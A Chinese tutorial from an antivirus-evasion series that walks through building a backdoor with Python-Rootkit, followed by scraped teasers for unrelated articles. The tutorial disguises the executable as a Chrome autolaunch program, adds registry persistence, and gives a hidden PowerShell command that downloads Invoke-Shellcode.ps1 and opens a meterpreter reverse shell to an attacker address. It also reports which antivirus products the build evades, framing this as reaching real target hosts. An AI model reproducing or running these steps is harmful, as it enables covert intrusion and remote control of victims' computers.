远控免杀专题(17)-Python-Rootkit免杀

免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、Python-Rootkit介绍

Python-Rootkit,2017年开源的一款工具,当时号称Bypass all anti-virus,主要是对python代码进行多次编码,然后利用py2exe把python代码打包成exe,其实最终执行的是powershell命令,使用了PowerSploit的Invoke-Shellcode.ps1来反弹msf的shell。

程序还添加了后门持续化的功能,大体就是10秒钟检测一次连接是否正常,如果连接不存在就再重连msf,另外还使用了注册表添加了自启动项。

原理很简单,不过我在前期测试中浪费了很长时间。。请往下看

二、安装Python-Rootkit

因为要使用py2exe,所以我就在windows上安装了,如果linux上安装了wine后不知道能不能使用py2exe,可自行测试。

1、先从官网git到本地

git clone https://github.com/0xIslamTaha/Python-Rootkit

2、修改参数

进入Python-Rootkit\viRu5文件夹

打开source.py文件,修改其中的LHOTS和LPORT,这个文件也是后门的主代码在这里插入图片描述
然后删掉或重命名viRu5文件夹中原有的GoogleChromeAutoLaunch.py,把source.py改名为GoogleChromeAutoLaunch.py

3、安装py2exe

然后还需要安装py2exe,我已经下载好了一份python2.7的py2exe安装文件py2exe-0.6.9.win32-py2.7.exe,下载地址https://github.com/TideSec/BypassAntiVirus/blob/master/tools/py2exe-0.6.9.win32-py2.7.exe,下载安装即可。

4、安装metasploit

郑重提示:需要安装需要4.8.2及以下的版本

如果你的msf为4.8.2以上版本,那么后门是反弹不成shell的。期间看到有人说是powershell需要32位的,还有说是需要msf生成shellcode进行配合的,众说纷纭,然后都没解决我的问题。

我就是在这里摸索了好长时间,才发现是msf和PowerSploit的问题,大体是msf升级到5.0后、PowerSploit升级到3.0后有些之前的功能就不大好使了。

所以后来我单独在另一台ubuntu上安装了metasploit 4.8.2,下载安装


wget https://downloads.metasploit.com/data/releases/archive/metasploit-4.8.2-linux-x64-installer.run
chmod +x metasploit-4.8.2-linux-x64-installer.run
./metasploit-4.8.2-linux-x64-installer.run

一路下一步和y确认就可以
在这里插入图片描述

三、Python-Rootkit使用说明

Python-Rootkit使用很简单,只要安装好上面的插件后,执行python.exe setup.py就可以了。

经分析,整个工具的核心代码就一句,下载Invoke-Shellcode.ps1,反弹shell。

powershell.exe  -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.211.55.7 -Lport 3333 -Force;

如果你没成功反弹shell,如果你安装的msf版本没问题,那么再确认一下你的windows测试机能否连接到https://raw.githubusercontent.com,如果不行的话那肯定执行不成功的。
在这里插入图片描述
可以在source.py中把远程服务器换成你自己的服务器地址
在这里插入图片描述
本地可以先测试一下,去掉-windowstyle hidden参数,可以看到ps代码执行情况。


powershell.exe  -noprofile  iex (new-object net.webclient).downloadstring('http://10.211.55.2/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.211.55.7 -Lport 3333 -Force;

在这里插入图片描述

三、利用Python-Rootkit生成后门

在生成后门前,还需要找个.ico图标文件,放在viRu5文件夹中,这样viRu5文件夹里需要有下面几个文件
在这里插入图片描述
下面就可以生成后门了

python.exe setup.py

如果前面安装都没问题,就会出现这个界面
在这里插入图片描述
提示生成了后门GoogleChromeAutoLaunch.exe
在这里插入图片描述
使用msf进行监听windows/meterpreter/reverse_https

为什么是监听windows/meterpreter/reverse_https?因为Invoke-Shellcode.ps1只支持windows/meterpreter/reverse_https和windows/meterpreter/reverse_http的反弹msf的shell。
在这里插入图片描述
运行Python-Rootkit\viRu5\dist目录下的GoogleChromeAutoLaunch.exe,可正常上线
在这里插入图片描述
打开杀软进行测试,静态检测都可bypass,行为检测时火绒提示隐藏的powershell行为,关闭火绒后可正常上线,360安全卫士和杀毒都没有报警。
在这里插入图片描述

四、Python-Rootkit小结

Python-Rootkit在测试中因为msf5一直没法上线折腾了很长时间,官方issue居然没有反馈这个问题的,后来调试了半天发现是Invoke-Shellcode.ps1和msf的问题。

免杀效果整体感觉一般,还是python生成exe,执行后调用powershell下载Invoke-Shellcode.ps1,然后反弹shell,应该很容易触发杀软的行为检测。

五、参考

官方说明:https://github.com/0xIslamTaha/Python-Rootkit

Invoke-Shellcode crash:https://github.com/PowerShellMafia/PowerSploit/issues/39

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380124.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目管理软件应用浅析(转)

项目管理是在一定的约束条件下,以高效率地实现项目业主的目标为目的,以项目经理个人负责制为基础和以项目为独立实体进行经济核算,并按照项目内在的逻辑规律进行有效的计划、组织、协调、控制的系统管理活动。项目管理的核心技术是网络计划技…

斜视角的讨论(转)

http://school.ogdev.net/listshow.asp?page4&typeid0&categoryid5&id0&ListType2 目 录 1.1 地图和地表 1.2 斜视角游戏中的视角 1.3 Tile图片的拼接 1.4 不同地表间的过渡 1.5 地图数据结构的定义 --------------------------------------------------…

计算机网络(湖科大教书匠)

计算机网络(湖科大教书匠) 本文档为教学视频【计算机网络微课堂(有字幕无背景音乐版)_哔哩哔哩_bilibili】的摘录 目录计算机网络(湖科大教书匠)一、绪论1.2 因特网概述1.2.1 网络、互连网(互联…

经纬度

题目描述 给定地球的两个经纬度坐标,问这两个点的直线距离。假设地球为球体,半径为6371009米。 输入描述: 第一行一个整数T表示数据组数。 接下来n行,每行四个数lat1, lng1, lat2, lng2分别表示两个点的经纬度。 正数表示北纬和东经。 …

远控免杀专题(18)-ASWCrypter免杀

免杀能力一览表 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶…

Hibernate 笔记4 实现对数据库的增删改查

1 准备 首先在mysql数据库中建表User,并添加相关信息。 user表结构如下。 ---------------------------------------------------------| Field | Type | Null | Key | Default | Extra |------------------------------------------------…

Direct3D中的绘制(3)

立方体——只比三角形稍微复杂一点,这个程序渲染一个线框立方体。 这个简单的绘制和渲染立方体的程序的运行结果如下图所示: 源程序: /************************************************************************************** Renders a …

远控免杀专题(19)-nps_payload免杀

免杀能力一览表 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶…

VS2005中使用WebDeploymentProject的问题

近来做Web项目,VS2005中发布网站时默认发布大批的程序集,这给升级网站时造成很大麻烦,所以偶从MS下载了个WebDeploymentProject的插件(下载地址http://download.microsoft.com/download/c/c/b/ccb4877f-55f7-4478-8f16-e41886607a…

操作系统中的多级队列调度

多级队列调度 (Multilevel queue scheduling) Every algorithm supports a different class of process but in a generalized system, some process wants to be scheduled using a priority algorithm. While some process wants to remain in the system (interactive proce…

编写一程序,输入一个字符串,查找该字符串中是否包含“abc”。

import java.lang.String.*;//这里调用java.long.String.contains()方法; import java.util.Scanner; public class shit {public static void main(String[] args) {Scanner wsq new Scanner(System.in);String str wsq.next();boolean status str.contains(&qu…

显示消息提示对话框(WebForm)

1: /// <summary>2: /// 显示消息提示对话框。3: /// Copyright (C) Maticsoft4: /// </summary>5: public class MessageBox6: { 7: private MessageBox()8: { 9: }10: 11: …

借助格式化输出过canary保护

0x01 canary保护机制 栈溢出保护是一种缓冲区溢出攻击缓解手段&#xff0c;当函数存在缓冲区溢出攻击漏洞时&#xff0c;攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后&#xff0c;函数开始执行的时候会先往栈里插入cookie信息&#xff0c;当函数真…

什么叫灰度图

任何颜色都有红、绿、蓝三原色组成&#xff0c;假如原来某点的颜色为RGB(R&#xff0c;G&#xff0c;B)&#xff0c;那么&#xff0c;我们可以通过下面几种方法&#xff0c;将其转换为灰度&#xff1a; 1.浮点算法&#xff1a;GrayR*0.3G*0.59B*0.11 2.整数方法&#xff1a;Gra…

各抓包软件的之间差异_系统软件和应用程序软件之间的差异

各抓包软件的之间差异什么是软件&#xff1f; (What is Software?) Software is referred to as a set of programs that are designed to perform a well-defined function. A program is a particular sequence of instructions written to solve a particular problem. 软件…

输入一字符串,统计其中有多少个单词(单词之间用空格分隔)(java)

import java.util.*; class Example3{public static void main(String args[]){Scanner sc new Scanner(System.in);String s sc.nextLine();//这里的sc.nextLine&#xff08;&#xff09;空格也会记数&#xff1b;StringTokenizer st new StringTokenizer(s," ")…

为何苦命干活的人成不了专家?

所谓熟能生巧&#xff0c;但离专家却有一个巨大的鸿沟&#xff0c;在农田干活的农民怎么也成不了水稻专家&#xff0c;推广之&#xff0c;那些在本职工作上勤勤恳恳的人&#xff0c;在业务上总有一个不可冲破的瓶颈。 这种现象非常普遍&#xff0c;这就是为什么很多人很勤奋&am…

今天发布一个新网站www.heijidi.com

新网站发布了&#xff0c;欢迎访问&#xff0c;关于国产机的 网站 www.heijidi.com 转载于:https://www.cnblogs.com/liugod/archive/2008/03/26/1122753.html

ret2shellcdoe

ret2shellcode的关键是找到一个缓冲区&#xff0c;这个缓冲区是可读写写可执行的&#xff0c;我们要想办法把我们的shellcdoe放到这个缓冲区&#xff0c;然后跳转到我们的shellcode处执行。 例子&#xff1a; #include <stdio.h> #include <string.h> char str1[…

stl取出字符串中的字符_从C ++ STL中的字符串访问字符元素

stl取出字符串中的字符字符串作为数据类型 (String as datatype) In C, we know string basically a character array terminated by \0. Thus to operate with the string we define character array. But in C, the standard library gives us the facility to use the strin…